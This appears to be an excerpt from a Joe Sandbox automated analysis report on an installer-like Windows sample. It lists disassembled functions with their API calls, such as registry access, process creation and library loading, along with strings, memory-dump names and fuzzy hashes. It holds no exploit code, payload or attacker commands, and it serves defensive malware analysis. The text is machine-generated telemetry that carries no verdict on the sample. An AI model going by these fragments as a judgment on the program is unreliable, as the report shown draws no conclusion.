Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ActiveWindow
String ID: PrepareToInstall
API String ID: 2558294473-1101760603
Opcode ID: 81b39a8fdeb0dad2a777ccf23e1b5cc1b94ea3789fac9a2a9b8faf6000b70bf0
Instruction ID: e2c6ec18e62d86bdb0c44b4d883dda39cec9e825136043f452d3b1ffdd24169b
Opcode Fuzzy Hash: 81b39a8fdeb0dad2a777ccf23e1b5cc1b94ea3789fac9a2a9b8faf6000b70bf0
Instruction Fuzzy Hash: 32A12C34A00105DFCB00EF9AD986EDEB7F5EF48304F5580B6E404AB362D778AE459B99

Function 0046C2DC Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 209COMMON

Download Yara Rule

Strings

/:*?"<>|, xrefs: 0046C478, 0046C48F

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID:
String ID: /:*?"<>|
API String ID: 0-4078764451
Opcode ID: 6835233e7ea63174332d10e4dcc06dbd64aaa3a2a45f414fb28228d8854cf9c9
Instruction ID: b0c2865fc5a4d1d7a494ca3edaa4dc5a45f3ff44e2e280cd3bc35834766e41d0
Opcode Fuzzy Hash: 6835233e7ea63174332d10e4dcc06dbd64aaa3a2a45f414fb28228d8854cf9c9
Instruction Fuzzy Hash: 1671D770B002546AEB20EB66DCC2BEE77A19F44704F50C067F580AB391E779AD85875F

Function 00481B8C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

SetActiveWindow.USER32(?), ref: 00481C3A

Strings

InitializeWizard, xrefs: 00481BD3

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ActiveWindow
String ID: InitializeWizard
API String ID: 2558294473-2356795471
Opcode ID: fdb67a5f3bc31efd8c5029728f1dc86113fdadd76a2f434d4b50cbf8c80ff7a4
Instruction ID: 5241d356f86f5b5e3f0808c496da9b9c49bd8f9ac143394a12901a1e43732a0a
Opcode Fuzzy Hash: fdb67a5f3bc31efd8c5029728f1dc86113fdadd76a2f434d4b50cbf8c80ff7a4
Instruction Fuzzy Hash: 411182342452009FD700EBA9ED96B693BE8EB65318F10043BE5018B2A1DA396C01CB2D

Function 0047BDA4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE14: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0048319F,?,00000001,?,?,0048319F,?,00000001,00000000), ref: 0042DE30

RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,?,?,0047BFEA,00000000,0047C124), ref: 0047BDE9

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0047BDB9

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseOpen
String ID: Software\Microsoft\Windows\CurrentVersion
API String ID: 47109696-1019749484
Opcode ID: f9eb47421012cec5c34730d2a4c0e30c6d7bbbf73eea55f5f75bb62311f339ce
Instruction ID: 054ff1380bf98a065617cb750ccb895fcb12562a11c78c2a0c7ed737f373e9e0
Opcode Fuzzy Hash: f9eb47421012cec5c34730d2a4c0e30c6d7bbbf73eea55f5f75bb62311f339ce
Instruction Fuzzy Hash: F2F082317045186BDA10A65F9C42BEBA69DCB84758F20403BF508DB343DAB99E0242EC

Function 0046ECD4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(?,NoModify,00000000,00000004,00000000,00000004,00000001,?,0046F352,?,?,00000000,0046F516,?,_is1,?), ref: 0046ECE7

Strings

NoModify, xrefs: 0046ECE5

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Value
String ID: NoModify
API String ID: 3702945584-1699962838
Opcode ID: 7eb4ab459c3921dc5338c7b3abf7fd5903c54a3e898984c04107b97a88657072
Instruction ID: 1140eb4c3ce40d11de990e217cdc8ecc45d3a806a677c2547659d4957ea667b8
Opcode Fuzzy Hash: 7eb4ab459c3921dc5338c7b3abf7fd5903c54a3e898984c04107b97a88657072
Instruction Fuzzy Hash: C6E04FB4640308BFEB04DB55DD4AF6AB7ECDB48724F104059BA049B280E674FE00C669

Function 0042DE14 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0048319F,?,00000001,?,?,0048319F,?,00000001,00000000), ref: 0042DE30

Strings

System\CurrentControlSet\Control\Windows, xrefs: 0042DE2E

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Open
String ID: System\CurrentControlSet\Control\Windows
API String ID: 71445658-1109719901
Opcode ID: 3bdcab3ffa95dd7854a6d474c2ff8c4d7b332cac827883cc7250e5693ef667ec
Instruction ID: d7cc6eff87d81a3ef1983a0911a62a1ada5c46f4ff843c2b0821017aeb54f6c2
Opcode Fuzzy Hash: 3bdcab3ffa95dd7854a6d474c2ff8c4d7b332cac827883cc7250e5693ef667ec
Instruction Fuzzy Hash: 88D0C972910228BBEB00DE89DC41DFB77ADDB19760F45802AFD04AB241C6B4EC519BF8

Function 0047DABC Relevance: 3.2, APIs: 2, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetACP.KERNEL32(?,?,00000001,00000000,0047DD9B,?,-0000001A,0047FC14,-00000010,?,00000004,0000001B,00000000,0047FF61,?,0045D988), ref: 0047DB32

Part of subcall function 0042E314: 73A1A570.USER32(00000000,00000000,0047FFC8,?,?,00000001,00000000,00000002,00000000,004808CA,?,?,?,?,?,004981E7), ref: 0042E323
Part of subcall function 0042E314: EnumFontsA.GDI32(?,00000000,0042E300,00000000,00000000,0042E36C,?,00000000,00000000,0047FFC8,?,?,00000001,00000000,00000002,00000000), ref: 0042E34E
Part of subcall function 0042E314: 73A1A480.USER32(00000000,?,0042E373,00000000,00000000,0042E36C,?,00000000,00000000,0047FFC8,?,?,00000001,00000000,00000002,00000000), ref: 0042E366

SendNotifyMessageA.USER32(000403E6,00000496,00002711,-00000001), ref: 0047DD02

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: A480A570EnumFontsMessageNotifySend
String ID:
API String ID: 2685184028-0
Opcode ID: 1699f4068c0c5867e7106ba40e3d9973070bda02754bb9a23a09a502d1616ce7
Instruction ID: 990e0cae6f69a79882f0940071147895bcf3dc4f71101f62f717fb2ce75f629c
Opcode Fuzzy Hash: 1699f4068c0c5867e7106ba40e3d9973070bda02754bb9a23a09a502d1616ce7
Instruction Fuzzy Hash: FD517074A101008BCB21EF26E98169637B9EF94308B50C57BA8499F367C778ED46CB9D

Function 0042DEB8 Relevance: 3.1, APIs: 2, Instructions: 111registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,0042DFCE,?,?,00000008,00000000,00000000,0042DFFB), ref: 0042DF64
RegCloseKey.ADVAPI32(?,0042DFD5,?,00000000,00000000,00000000,00000000,00000000,0042DFCE,?,?,00000008,00000000,00000000,0042DFFB), ref: 0042DFC8

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseEnum
String ID:
API String ID: 2818636725-0
Opcode ID: 9f8261b046af4c0305013da9979aadb613cc1e3f6400fb4ebe2b883e54c4606e
Instruction ID: c872a63f9528d4f9380aaceb5e2d891e8c563da0940016be03c3acb485ce214c
Opcode Fuzzy Hash: 9f8261b046af4c0305013da9979aadb613cc1e3f6400fb4ebe2b883e54c4606e
Instruction Fuzzy Hash: A8319370F04258AEDB11DFA6DD42BBFBBB9EB49304F92447BE401E6281D6385E01CA1D

Function 004527BC Relevance: 3.1, APIs: 2, Instructions: 60processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,00000000,?,?,00458098,00000000,00458080,?,?,?,00000000,00452836,?,?,?,00000001), ref: 00452810
GetLastError.KERNEL32(00000000,00000000,?,?,00458098,00000000,00458080,?,?,?,00000000,00452836,?,?,?,00000001), ref: 00452818

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CreateErrorLastProcess
String ID:
API String ID: 2919029540-0
Opcode ID: e0555b4cbc397befea5ce91cbbea4dedbfe526bfc705885143054cd240055755
Instruction ID: e9b66965f7ed38539142cc2995e542ed63b4c0771d7d6ba66a5e4ac3981b0267
Opcode Fuzzy Hash: e0555b4cbc397befea5ce91cbbea4dedbfe526bfc705885143054cd240055755
Instruction Fuzzy Hash: 70113C72604608AF8B50DEADDD41D9FB7ECEB4D310B114567FD18D3241D674AD148BA8

Function 0040AFC0 Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00400000,00000000,0000000A), ref: 0040AFDA
FreeResource.KERNEL32(00000000,00400000,00000000,0000000A,F0E80040,00000000,?,?,0040B137,00000000,0040B14F,?,?,?,00000000), ref: 0040AFEB

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Resource$FindFree
String ID:
API String ID: 4097029671-0
Opcode ID: bd4d08f36a9d4a560adef0fa1bde098128f2b715f965cb3459cef9598ac6c158
Instruction ID: aeeba5ce467f8effdb78304bcd792b874f75604bed8582862ca5d9c37e282381
Opcode Fuzzy Hash: bd4d08f36a9d4a560adef0fa1bde098128f2b715f965cb3459cef9598ac6c158
Instruction Fuzzy Hash: CE01DF71700700AFDB14EF65AC92A1B77ADDB4A714B11807AF400AB3D1DA39AC019AA9

Function 0041EE9C Relevance: 3.0, APIs: 2, Instructions: 49threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0041EEEB
73A25940.USER32(00000000,0041EE4C,00000000,00000000,0041EF08,?,00000000,0041EF3F,?,0042EEA8,?,00000001), ref: 0041EEF1

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: A25940CurrentThread
String ID:
API String ID: 2655091166-0
Opcode ID: b000ad2c2d45302efb537f6ed51b85bb3a5cc49cf8a353236d3522148df1097f
Instruction ID: ec06e6b8def62778297c6a117e91140491810bf1675edd7fb5fc45fb14f34894
Opcode Fuzzy Hash: b000ad2c2d45302efb537f6ed51b85bb3a5cc49cf8a353236d3522148df1097f
Instruction Fuzzy Hash: D9015B76A04604BFD706CF6BDC1199ABBE8E789720B22887BEC04D3690E6355810DF18

Function 00452C54 Relevance: 3.0, APIs: 2, Instructions: 48fileCOMMON

Download Yara Rule

APIs

MoveFileA.KERNEL32(00000000,00000000), ref: 00452C96
GetLastError.KERNEL32(00000000,00000000,00000000,00452CBC), ref: 00452C9E

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorFileLastMove
String ID:
API String ID: 55378915-0
Opcode ID: 4b3f53bb71bbb3de239a758d95ad3dd7b2750d400091be83cb52db7a615a65e0
Instruction ID: 72322736c602c8c7a1920fbe291f5aeb87443d44c1116871956ce6e3077d7411
Opcode Fuzzy Hash: 4b3f53bb71bbb3de239a758d95ad3dd7b2750d400091be83cb52db7a615a65e0
Instruction Fuzzy Hash: C9012671B00604AB8B01EB799D4189EB7ECDB4A32575045BBFC14E3343EA784E04456C

Function 00452744 Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,00000000,004527A3), ref: 0045277D
GetLastError.KERNEL32(00000000,00000000,00000000,004527A3), ref: 00452785

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 9ee879c615aac4fee22e4c99406f95e71c245cbd6d77cc6155be40721354894d
Instruction ID: e798b8fcaf2c893210dd6dd972d3083c0fc79cae1e6532b7171fe4e83a13409b
Opcode Fuzzy Hash: 9ee879c615aac4fee22e4c99406f95e71c245cbd6d77cc6155be40721354894d
Instruction Fuzzy Hash: E1F02871A04604BFCB00EF759E4159EB3E8DB0E721B1045B7FC04E3242E7B94E048598

Function 00423234 Relevance: 3.0, APIs: 2, Instructions: 35COMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,00007F00), ref: 00423241
LoadCursorA.USER32(00000000,00000000), ref: 0042326B

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CursorLoad
String ID:
API String ID: 3238433803-0
Opcode ID: 57390d314a1cb7161e6ddc30cf2ec12f57c29d9a020bc84e90da4252d8f033e1
Instruction ID: 59516fef74be350ba7f17c0e511b54e8d6c2303d910d3728eb6a55db14448276
Opcode Fuzzy Hash: 57390d314a1cb7161e6ddc30cf2ec12f57c29d9a020bc84e90da4252d8f033e1
Instruction Fuzzy Hash: 68F0271170421066D6109E3E6CC0A6B72A8DF82335B71037BFB3EC72D1CA2E1D414569

Function 0042E38C Relevance: 3.0, APIs: 2, Instructions: 33libraryCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00008000), ref: 0042E396
LoadLibraryA.KERNEL32(00000000,00000000,0042E3E0,?,00000000,0042E3FE,?,00008000), ref: 0042E3C5

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorLibraryLoadMode
String ID:
API String ID: 2987862817-0
Opcode ID: 5e1e313bdd13d7489a01f7e50f084508f9c5c97fde52d832d9963c9b8019f2bb
Instruction ID: aa33dc687cd71512c069df69893670fc4fcbad3b08ca7d4395289e8ee6212cdb
Opcode Fuzzy Hash: 5e1e313bdd13d7489a01f7e50f084508f9c5c97fde52d832d9963c9b8019f2bb
Instruction Fuzzy Hash: 13F08270714B44BFDB019F779CA282BBBECEB49B1179249B6FD00A3691E53C5910C928

Function 004162C2 Relevance: 3.0, APIs: 2, Instructions: 27COMMON

Download Yara Rule

APIs

GetClassInfoA.USER32(00400000,?,?), ref: 004162D9
GetClassInfoA.USER32(00000000,?,?), ref: 004162E9

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ClassInfo
String ID:
API String ID: 3534257612-0
Opcode ID: 0cefddb0d68ec1ee3d6e09aa9ac37d408dcb608ad702880eba3eeb66fdb88c2a
Instruction ID: 6cd5cb93a67b39dfae17eda9b7884797c0ece5161c54fd1178b0752c2523ee83
Opcode Fuzzy Hash: 0cefddb0d68ec1ee3d6e09aa9ac37d408dcb608ad702880eba3eeb66fdb88c2a
Instruction Fuzzy Hash: C7E01AB26015146EE710DFA89D81EE73BDCDB08350B2201B7FE08CB246D3A4DD008BA8

Function 004508CC Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,?,00000002,?,?,0046FF69,?,00000000), ref: 004508E2
GetLastError.KERNEL32(?,00000000,?,00000002,?,?,0046FF69,?,00000000), ref: 004508EA

Part of subcall function 00450688: GetLastError.KERNEL32(004504A4,0045074A,?,00000000,?,00497338,00000001,00000000,00000002,00000000,00497499,?,?,00000005,00000000,004974CD), ref: 0045068B

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: b81912fe9410729738c8cc3b4427c31e6f6ea190abe7f97a6bc74282f8b5003d
Instruction ID: 7f4ce0808efc90522886b7fd4f7afe0cb5ca5dcd319eb65f5abb6fc959a7204b
Opcode Fuzzy Hash: b81912fe9410729738c8cc3b4427c31e6f6ea190abe7f97a6bc74282f8b5003d
Instruction Fuzzy Hash: BDE012A93542005FE700FA7589C1F2B22DCDB44315F00846AF945CA183D678CC054B69

Function 0040625C Relevance: 3.0, APIs: 2, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32 ref: 0040625E
GlobalLock.KERNEL32(00000000), ref: 00406264

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Global$AllocLock
String ID:
API String ID: 15508794-0
Opcode ID: 38fdb687bb69d238822be17628ba02d3430ff360103c12c92fad93c094244837
Instruction ID: 06179efae1cd4c7c45065c0f91b58358bdd8bb936cab03a6fa385f12497be06a
Opcode Fuzzy Hash: 38fdb687bb69d238822be17628ba02d3430ff360103c12c92fad93c094244837
Instruction Fuzzy Hash: 3E9002C4D10B00B8DC0072B20C1AD3F146CD8C172D3D0486F7004B61C3883C88004839

Function 004014E4 Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,004017ED), ref: 00401513
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,004017ED), ref: 0040153A

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 94577317c2bcd4d3a70d22c0b2f2fc78c72c60cff144ef5375d29febf27e2799
Instruction ID: 119661fe7174a079321c86e78af40791ac039b5eb8373b45468023a5ba433726
Opcode Fuzzy Hash: 94577317c2bcd4d3a70d22c0b2f2fc78c72c60cff144ef5375d29febf27e2799
